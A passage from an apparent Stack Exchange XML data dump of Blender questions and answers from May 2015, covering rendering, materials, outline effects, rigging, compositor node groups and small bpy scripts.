ContentLicense="CC BY-SA 3.0" />
  <row Id="31178" PostTypeId="1" CreationDate="2015-05-20T13:28:25.670" Score="2" ViewCount="161" Body="&lt;p&gt;An already rendered animation needs to have the background color-corrected. It will take too long to re-render the shot in full color. How do I turn the alpha channel of the combined layers (which are now set to render over transparent) into a black &amp;amp; white matte or solid color over transparent, and render quickly as just a matte pass with no lighting calculations?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once I have the matte pass I can isolate the background and perform corrections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I searched but could not find this exact issue in the forums.&lt;/p&gt;&#xA;" OwnerUserId="14178" LastActivityDate="2015-05-20T13:28:25.670" Title="Matte Render from Alpha" Tags="&lt;compositor&gt;&lt;transparency&gt;" AnswerCount="0" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31179" PostTypeId="1" AcceptedAnswerId="31182" CreationDate="2015-05-20T13:44:08.707" Score="1" ViewCount="2480" Body="&lt;p&gt;i'm trying to make a shining/reflection material but i don't need to add any other object to the scene/layer, is there any way in order to do this? or should i add objects and then just hide them from the render?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference (as you can see, there are lights/reflections but not other objects)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sArH3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or, more realistic 'metal' like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QHNAu.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9718" LastActivityDate="2015-05-20T14:08:50.660" Title="How can i get a proper reflection on a material without a background or another objects?" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;texturing&gt;&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31180" PostTypeId="1" AcceptedAnswerId="31188" CreationDate="2015-05-20T13:56:17.263" Score="6" ViewCount="836" Body="&lt;p&gt;Render Engine set to Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For Meshes their diffuse colour is shown in 3d viewport when the Viewport Shading mode is set to Material. Curves do not do this, is there any way to turn this on for Curve objects too? For example below, the silver-grey tubes are Curves and I'd expect them to show the diffuse of the materials assigned to them (black, orange, and blue).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewport Shading: Materials&#xA;&lt;img src=&quot;https://i.stack.imgur.com/TKOsr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Renders like this, this is OK, and so is live Viewport rendering:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/ZnnLU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is Curves aren't showing their colour, instead a default grey. It doesn't matter which cycles shader-type is used.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FN3cH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="241" LastEditDate="2015-05-20T14:34:12.297" LastActivityDate="2015-05-21T19:51:07.540" Title="Material shading options in 3d viewport limited for Curve objects?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;3d-view&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="9" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31182" PostTypeId="2" ParentId="31179" CreationDate="2015-05-20T14:02:29.513" Score="1" Body="&lt;p&gt;In Cycle render engine you have an option to disable direct visibility of the objects to the camera. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Open &lt;em&gt;Object Data tab&lt;/em&gt; and in &lt;em&gt;Ray Visiility&lt;/em&gt; section disable this option on all the objects that you want to be invisible in render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/aWk0N.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can do the same with the background in &lt;em&gt;World&lt;/em&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3JGBi.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-05-20T14:08:50.660" LastActivityDate="2015-05-20T14:08:50.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31183" PostTypeId="2" ParentId="31179" CreationDate="2015-05-20T14:08:49.393" Score="1" Body="&lt;p&gt;You probably need Background image. This can be anoying to set up. You need to look into something called Equirectangular maps. These are images that look all warped but will wrap around in a sphere around your entire scene. If you do not want to see this background, look to the scene/render area. Look for the &quot;shading&quot; area and find the bit that says &quot;alpha&quot; you can change it from &quot;sky&quot; to &quot;transparent&quot;. This will give you the background image as a reflection but remove the background. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use texture mapping on the material. The coordinates should be &quot;reflection&quot;. Although not as accurate, its very fast and less noisy.&lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2015-05-20T14:08:49.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31184" PostTypeId="2" ParentId="31172" CreationDate="2015-05-20T14:15:30.327" Score="2" Body="&lt;p&gt;Yes you can if you use an addon, see  the BlenderArtists page &lt;a href=&quot;http://blenderartists.org/forum/showthread.php?233186-Export-Materials-to-GLSL-Code&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. That page doesn't have the correct download link but you can get it &lt;a href=&quot;https://developer.blender.org/T28839&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&#xA;From memory, this addon generates rather long and possibly unoptimised GLSL fragment code.&lt;/p&gt;&#xA;" OwnerUserId="14456" LastActivityDate="2015-05-20T14:15:30.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31185" PostTypeId="1" AcceptedAnswerId="79118" CreationDate="2015-05-20T14:31:52.730" Score="3" ViewCount="3894" Body="&lt;p&gt;I made a simple character in blender game engine. He's parented to an armature, so he can walk, ext. Now I want to make him a character, so he can jump, can't go through obstacles, have a step height. I think you do that by setting the armature to Physics type: character. And it kind of works. But the collision bounds are a box, so the character sinks into the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here's a picture&#xA;&lt;img src=&quot;https://i.stack.imgur.com/l6gFJ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The white box in the middle of a character is his bouning box. How can I fix that? I tried the collision bounds, but it doesn't work. No matter which one I chose, it had no effect whatsoever.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14483" LastActivityDate="2018-01-06T14:06:39.210" Title="How to set collision bounds for Armature object" Tags="&lt;game-engine&gt;&lt;physics&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31186" PostTypeId="1" CreationDate="2015-05-20T14:40:40.740" Score="1" ViewCount="548" Body="&lt;p&gt;I'm working on a sculpted model, that will be 3d printed...&#xA;the problem is, I had 4 objects (the head, the two eyes, the hair) and merged them with the boolean modifier Union... but if I check for non-manifold edges, it shows, that exactly those edges between the former seperate objects are now non-manifold.&#xA;How can I fix this in a fast way? because I need this model finished today...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Lhb6B.png&quot; alt=&quot;non-manifold edges&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13706" LastActivityDate="2015-05-20T14:40:40.740" Title="Boolean Modifier Union produces non manifold edges" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31187" PostTypeId="2" ParentId="31164" CreationDate="2015-05-20T14:51:36.553" Score="0" Body="&lt;p&gt;the only thing that will speed it up is clocking up the speed of your memory. The cpu is waiting for data to shift. I have a monster 12 thread CPU and probably take the same time as you. &lt;/p&gt;&#xA;" OwnerUserId="14301" LastActivityDate="2015-05-20T14:51:36.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31188" PostTypeId="2" ParentId="31180" CreationDate="2015-05-20T14:54:47.900" Score="4" Body="&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;This appears to be fixed in recent builds,&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;original&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I use Nodes for materials exclusively, and wasn't aware there was an independent Settings panel for the Viewport shading color.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 and 2 are independent, and unlike Objects which are Meshes, the colour isn't automatic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YbcS0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the spheres are Mesh based Objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RrLod.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here the blend&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/232/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=232&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:19:16.687" LastActivityDate="2015-05-21T19:51:07.540" CommentCount="4" CommunityOwnedDate="2015-05-20T14:54:47.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="31191" PostTypeId="1" AcceptedAnswerId="31194" CreationDate="2015-05-20T16:31:23.287" Score="8" ViewCount="3839" Body="&lt;p&gt;I want to achieve this &lt;a href=&quot;https://www.youtube.com/watch?v=Ss04Dx93Qn0&quot;&gt;outline effect&lt;/a&gt; outside of the game engine for animations, without using freestyle. Is it possible to make this effect work in Cycles or BI? &lt;/p&gt;&#xA;" OwnerUserId="13912" LastEditorUserId="599" LastEditDate="2015-05-20T18:14:01.543" LastActivityDate="2015-05-22T02:13:31.330" Title="Is it possible to render outlines in BI/Cycles using this technique for the BGE?" Tags="&lt;cycles-render-engine&gt;&lt;game-engine&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31192" PostTypeId="1" CreationDate="2015-05-20T17:22:18.673" Score="1" ViewCount="602" Body="&lt;p&gt;I've created a shader that works using the Blender Internal Viewport. I thought I would take advantage of the recently added &quot;World Background&quot; option in the 3D view so I could get a nice background for my 3d model and shader.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I check the option it doesn't replace the background with the Environment Map I have set in the World. instead it just set it to the Horizon Color. But I overrided the Horizion color in the texture options. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this feature not supported in BI or do I need to do something different?&lt;/p&gt;&#xA;" OwnerUserId="530" LastActivityDate="2015-05-20T17:22:18.673" Title="World Background in Blender Internal Viewport" Tags="&lt;3d-view&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31193" PostTypeId="1" CreationDate="2015-05-20T17:43:27.413" Score="3" ViewCount="996" Body="&lt;p&gt;I'm trying to make a simple game in Blender, but nothing will render when I try to play the game looking through the camera.&#xA;The game looks fine in object mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7hYNu.png&quot; alt=&quot;3D Window&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks fine through the camera:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zDJSw.png&quot; alt=&quot;Through the camera&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rendering a frame looks fine:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W9aYh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And playing the game looks fine as well:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p8nOz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But then looking through the camera and playing, or starting the game in player just displays a blank grey screen:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/M3G6B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been googling and found a few questions similar to mine, but none of their solutions have worked so far. I've cleared restrict render and checked the clipping on my camera (set end to like 1500) to no effect. Does anyone know what's going on?&lt;/p&gt;&#xA;" OwnerUserId="14486" LastEditorUserId="3078" LastEditDate="2015-05-20T20:18:32.293" LastActivityDate="2015-05-22T02:51:47.107" Title="Why are my objects not visible when looking through camera and starting the game" Tags="&lt;rendering&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="7" ClosedDate="2015-05-25T14:40:08.943" ContentLicense="CC BY-SA 3.0" />
  <row Id="31194" PostTypeId="2" ParentId="31191" CreationDate="2015-05-20T18:10:43.537" Score="11" Body="&lt;p&gt;Yes, this is quite easy to do in cycles:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EkQyG.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Duplicate and scale the object as shown in the video you linked.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a node setup using the &lt;em&gt;Backfacing&lt;/em&gt; output of the &lt;em&gt;Geometry&lt;/em&gt; node to mix a black diffuse shader with a transparent shader. This will go on the scaled duplicate (outline) object to provide the backface culling effect.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable the &lt;em&gt;Ray visibility&lt;/em&gt; on the outline object for everything except &lt;em&gt;Camera&lt;/em&gt; and &lt;em&gt;Glossy&lt;/em&gt;, &lt;em&gt;Transmission&lt;/em&gt; if you want to see the outline in reflections and refractions. This will allow light through the outline object, illuminating the main object inside.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;To see the effect in the viewport:&lt;/h2&gt;&#xA;&lt;p&gt;Enable &lt;em&gt;Backface Culling&lt;/em&gt; in &lt;em&gt;3D view &amp;gt; Properties panel&lt;/em&gt; (&lt;kbd&gt;N&lt;/kbd&gt;) &lt;em&gt;&amp;gt; Shading&lt;/em&gt;, and set the &lt;em&gt;viewport color&lt;/em&gt; of the outline material to black:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pIxLh.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;h1&gt;Outlines without extra objects&lt;/h1&gt;&#xA;&lt;p&gt;Also, if you find having an extra object for the outlines rather awkward, you can generate the outline mesh procedurally using a &lt;a href=&quot;http://blender.org/manual/modifiers/generate/solidify.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Solidify modifier&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the outline material in another material slot:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O7vV6.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a solidify modifier to the object you want to outline, enable &lt;em&gt;Flip Normals&lt;/em&gt; and set the &lt;em&gt;Material Index Offset&lt;/em&gt; to the slot where your outline material is (where the first slot is slot &lt;code&gt;0&lt;/code&gt;, the second is slot &lt;code&gt;1&lt;/code&gt;, etc.). So in this case, &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3X2UN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Now the outline will even update in real time while you are modeling:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/q2Evu.gif&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/237/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=237&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-22T02:13:31.330" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31195" PostTypeId="2" ParentId="31126" CreationDate="2015-05-20T19:08:11.243" Score="3" Body="&lt;p&gt;I use pycharm to edit the python.  When pycharm loses focus it saves the file.  Then when I get over to the blender window the little red circle icon in the header of the text editor area allows me to reload the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How about after you run the script: do not save; instead use File &gt; Open Recent ( or &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;o&lt;/kbd&gt; ) and re-load the version you saved in step 6.  Once you have it open, you can load the latest version of the addon and try it again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my personal projects I try to code in such a way that I can run the script multiple times and it still works (either by deleting the old versions of the objects, or by updating them).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# edit: to provide an example of how to create an object, or modify it if it already exists&#xA;# since I didn't include one in my original answer&#xA;def fab_object_for(scn, u,v):&#xA;    name = &quot;ball2 at %d,%d&quot; % (u, v)&#xA;    obj = bpy.data.objects.get(name)&#xA;    if obj is None:&#xA;        obj = bpy.data.objects.new(name, bpy.data.meshes[&quot;Icosphere&quot;])&#xA;    try:&#xA;        scn.objects.link(obj)&#xA;    except:&#xA;        pass&#xA;    obj.location = (u,v,0)&#xA;    rig_nlas(obj, u, v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Sometimes I have a second script whose job it is to purge stale versions of objects to create a clean(er) slate.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scn = bpy.context.scene&#xA;for obj in scn.objects:&#xA;    if obj.name[:10] == 'active at ':&#xA;        scn.objects.unlink(obj)&#xA;        # optionally&#xA;        # obj.name = &quot;discard&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-05-21T16:09:27.100" LastActivityDate="2015-05-21T16:09:27.100" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31196" PostTypeId="1" AcceptedAnswerId="31236" CreationDate="2015-05-20T19:21:22.213" Score="2" ViewCount="956" Body="&lt;p&gt;I am trying to reproduce this rooftop, but I have some trouble. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GqBkn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with a &quot;clouds&quot; texture to create the random dirt, but it looks more like waves in the ocean.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried with a more dirty ground, like the one I found here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mP7ek.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to recreate the dirt myself, it looks good only when it is one image. But once it is in Blender, the texture is repeated and it gives a bad repeated effect. So I tried another version with light gray and blue, and the map effect, so that we don't see the borders, but it is too simple :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2gaFR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would you have some tips for me? The texture will be large enough to fill the size of the rooftop, and the view will be close to the ground, so I must add some details as if we were close to the ground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="13249" LastEditorUserId="3078" LastEditDate="2015-05-21T07:10:45.903" LastActivityDate="2015-07-10T08:39:15.180" Title="How to texture a rooftop" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31197" PostTypeId="1" AcceptedAnswerId="31207" CreationDate="2015-05-20T19:55:05.500" Score="1" ViewCount="870" Body="&lt;p&gt;I'm doing a basic human rig for practice. All of my bones are set up and the rig generates just fine, however, when I try to parent to the rig with auto weights, a majority of my mesh disappears (See pictures) &lt;img src=&quot;https://i.stack.imgur.com/TH3EE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NZWVK.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Any ideas on what's happening?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-20T21:39:46.933" Title="Using rigify, Automatic weights parenting fails" Tags="&lt;modeling&gt;&lt;rigging&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="31198" PostTypeId="1" CreationDate="2015-05-20T20:20:24.700" Score="4" ViewCount="35" Body="&lt;p&gt;I have a lot of useless datablocks for animations, models, materials, and others just lying around doing nothing. How would I delete them? Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1597" LastActivityDate="2015-05-20T20:20:24.700" Title="Delete datablocks in GE?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31199" PostTypeId="1" AcceptedAnswerId="31201" CreationDate="2015-05-20T20:32:25.177" Score="11" ViewCount="17536" Body="&lt;p&gt;I am making a victorian style chair, and am now working on the upholstery, and am trying to get the classic attachment button depression shape. I have the basic shape blocked out, but I can't figure out how to make the shape on it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I want:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jWi1D.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have just the vertice now, I want to do something like a bevel and end up with the square. It seems there should be an easy way to do this, does anybody know one?&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-07-26T08:54:25.853" Title="Is it possible to bevel vertices in a plane?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="31201" PostTypeId="2" ParentId="31199" CreationDate="2015-05-20T20:36:32.743" Score="29" Body="&lt;p&gt;You can bevel vertices using &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;B&lt;/kbd&gt; shortcut. Dragging the mouse will change bevel depth, and scrolling middle mouse button will change the amount of segments. &lt;/p&gt;&#xA;" OwnerUserId="12820" LastEditorUserId="12820" LastEditDate="2015-07-25T17:00:09.800" LastActivityDate="2015-07-25T17:00:09.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31202" PostTypeId="1" AcceptedAnswerId="31203" CreationDate="2015-05-20T20:36:52.873" Score="9" ViewCount="2655" Body="&lt;p&gt;Not sure if this is a dumb question or not, but can you export compositor nodes to another project? I'd rather not recreate them on different projects for similar effects.&lt;/p&gt;&#xA;" OwnerUserId="13512" LastEditorUserId="599" LastEditDate="2015-05-20T21:03:01.473" LastActivityDate="2015-05-21T05:29:42.957" Title="Can you export compositor nodes?" Tags="&lt;nodes&gt;&lt;workflow&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31203" PostTypeId="2" ParentId="31202" CreationDate="2015-05-20T20:44:26.533" Score="11" Body="&lt;p&gt;&lt;strong&gt;Yes&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By creating a &lt;a href=&quot;http://blender.org/manual/composite_nodes/node_groups.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;node group&lt;/a&gt; (&lt;kbd&gt;&amp;#9096; Ctrl&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt;) you can append (&lt;kbd&gt;&amp;#8679; Shift&lt;/kbd&gt;&lt;kbd&gt;F1&lt;/kbd&gt;) those node groups from other projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ei2Qt.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://blender.stackexchange.com/a/3456/599&quot;&gt;my answer here&lt;/a&gt; for more detail.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2015-05-20T21:02:44.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31205" PostTypeId="2" ParentId="30888" CreationDate="2015-05-20T21:15:37.750" Score="2" Body="&lt;p&gt;It turns out all I needed was to update the NVIDIA driver to v346.72 for the ASUS GTX 970 Strix cards to be able to handle multiple processes in tandem.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update - Oct 2019&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To those wondering if there was a performance gain in doing this: &lt;strong&gt;yes, there was&lt;/strong&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have the specifics with me as this was done a few years back, but I do remember the render times breaking down like this simplified example: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 GPU renders 1 frame of an animation in 4 minutes, so in theory bulking up to 4 GPUs should render that one frame in 1 minute. This wasn't what I was seeing in reality though. The actual result took more like 1.2 minutes per frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a 200 frame animation, the math broke down like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All 4 GPUs working as one:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(200 frames / 1 Combined GPU) = 200 frames * 1.2 minutes per frame = &lt;strong&gt;240 mins total&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Splitting up the GPUs to independently work on a queue of frames:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(200 frames / 4 GPUs) = 50 frames per GPU * 4 minutes per frame in parallel = &lt;strong&gt;200 mins total&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14387" LastEditorUserId="14387" LastEditDate="2019-10-08T17:03:28.920" LastActivityDate="2019-10-08T17:03:28.920" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="31206" PostTypeId="1" AcceptedAnswerId="31208" CreationDate="2015-05-20T21:32:18.660" Score="-1" ViewCount="68" Body="&lt;p&gt;Every time I try to animate my rig, the amount I can move the arrow transformation is fixed so I can't make any small adjustments.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Tcukw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/l3oXo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I fix this?&lt;/p&gt;&#xA;" OwnerUserId="13042" LastActivityDate="2015-05-20T22:00:57.230" Title="Transformation amount locked" Tags="&lt;animation&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-05-21T07:39:55.013" ContentLicense="CC BY-SA 3.0" />
  <row Id="31207" PostTypeId="2" ParentId="31197" CreationDate="2015-05-20T21:39:46.933" Score="2" Body="&lt;p&gt;To make Rigify work properly you need to enable running python scripts or scripted expressions. When opening your file click on &lt;strong&gt;Reload Trusted&lt;/strong&gt; button on the top of blender screen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bqzLC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-05-20T21:39:46.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
